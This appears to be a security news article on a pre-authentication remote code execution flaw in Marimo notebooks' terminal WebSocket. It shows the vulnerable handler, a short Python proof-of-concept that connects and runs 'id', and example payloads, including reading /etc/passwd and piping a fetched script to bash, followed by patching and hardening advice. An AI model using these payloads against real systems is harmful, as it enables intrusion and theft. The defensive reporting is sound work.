Critical Pre-Auth RCE Vulnerability Uncovered in Marimo Python Notebooks (CVE-2026-39987)

A critical security flaw has been identified in the Marimo Python notebook framework, sending shockwaves through the data science and DevOps communities. The vulnerability allows an unauthenticated remote attacker to execute arbitrary system commands, providing a direct gateway to full infrastructure compromise.

Tracked as CVE-2026-39987, this flaw targets a specific WebSocket endpoint that, when improperly secured, can be exploited to spawn a system-level shell without requiring a single set of credentials.

Technical Breakdown: The Terminal WebSocket Flaw

The crux of the issue lies within the /terminal/ws WebSocket endpoint. As documented by Resecurity, the application fails to implement any session validation or access control checks before initializing a pseudo-terminal (PTY) shell.

From a developer’s perspective, the logic error is startlingly simple. The WebSocket handler accepts incoming connections and immediately forks a child process to create a shell, bypassing the authentication middleware used by other sensitive routes in the application.

@router.websocket("/terminal/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    # CRITICAL ERROR: The connection is accepted 
    # without checking for a valid session/token.
    await websocket.accept()
    
    # Spawns a system-level shell via PTY
    child_pid, fd = pty.fork() 

This architectural oversight results in Pre-Authentication Remote Code Execution (RCE). An attacker does not need to “break in” via a password; they simply need to “connect” to the terminal stream.

Attack flow diagram showing the transition from WebSocket connection to shell access
Attack Flow: From unauthenticated WebSocket handshake to system shell (Source: Resecurity)

Because Marimo is a staple in AI prototyping, machine learning, and internal data analytics, the “blast radius” of this exploit is massive. These environments are high-value targets because they typically:

  • House sensitive secrets: API keys, database credentials, and proprietary datasets are often stored in memory or nearby .env files.
  • Operate with high privileges: To facilitate data processing, many Marimo instances run within containers with elevated permissions or even as root.
  • Serve as bridgeheads: These servers are frequently connected to internal VPCs, databases, and cloud orchestration layers, making them perfect jumping-off points for lateral movement.

Active Threats and Malware Deployment

This is not merely a theoretical risk. Security researchers have observed active exploitation in the wild. Threat actors are reportedly using this vulnerability to deploy NKAbuse malware, utilizing payloads hosted on legitimate platforms like Hugging Face Spaces to evade traditional detection mechanisms.

The exploitation process is remarkably low-effort. An attacker can use a basic WebSocket client to establish a connection and begin issuing commands:

  1. Target: ws://[target-ip]:2718/terminal/ws
  2. Action: Connect with no credentials.
  3. Payload: Send commands like whoami, cat /etc/passwd, or curl [malicious-script] | bash.

For demonstration, a minimal Python-based exploit script looks like this:

import websocket

# Target the vulnerable endpoint directly
ws = websocket.WebSocket()
ws.connect("ws://target-ip:2718/terminal/ws")

# Send a command to verify identity
ws.send("id\n")
print(f"System Identity: {ws.recv()}")

ws.close()

Scope of Impact

The vulnerability affects all Marimo deployments running versions prior to 0.23.0.

Organizations are at the highest risk if they have deployed Marimo instances that are:

  • Bound to 0.0.0.0 (exposed to all interfaces).
  • Directly reachable from the public internet without a firewall or reverse proxy.
  • Running in containerized environments (Docker/Kubernetes) alongside sensitive cloud metadata services or shared secrets.

Remediation and Defense-in-Depth

If you are running Marimo, immediate action is required to secure your environment.

1. Immediate Patching

Upgrade Marimo to version 0.23.0 or later immediately. This version introduces mandatory authentication for the /terminal/ws endpoint, effectively neutralizing the unauthenticated RCE vector.

2. Network Hardening

Until patching is verified, isolate your Marimo instances. Do not expose them directly to the internet. Instead, wrap them in a Zero Trust architecture:

  • Place instances behind a VPN or an authenticated reverse proxy (e.g., Nginx with Basic Auth or OAuth).
  • Use private subnets and strict Security Group rules to limit access to known internal IPs.

3. Operational Security (OpSec)

Adopt the principle of least privilege:

  • Ensure Marimo processes run as a non-root user within containers.
  • Rotate all credentials (API keys, DB passwords) if there is any suspicion that an instance was exposed.
  • Monitor network logs for unusual WebSocket traffic or unauthorized shell activity targeting port 2718.

Related Articles

Back to top button
e ZESFEogRepEql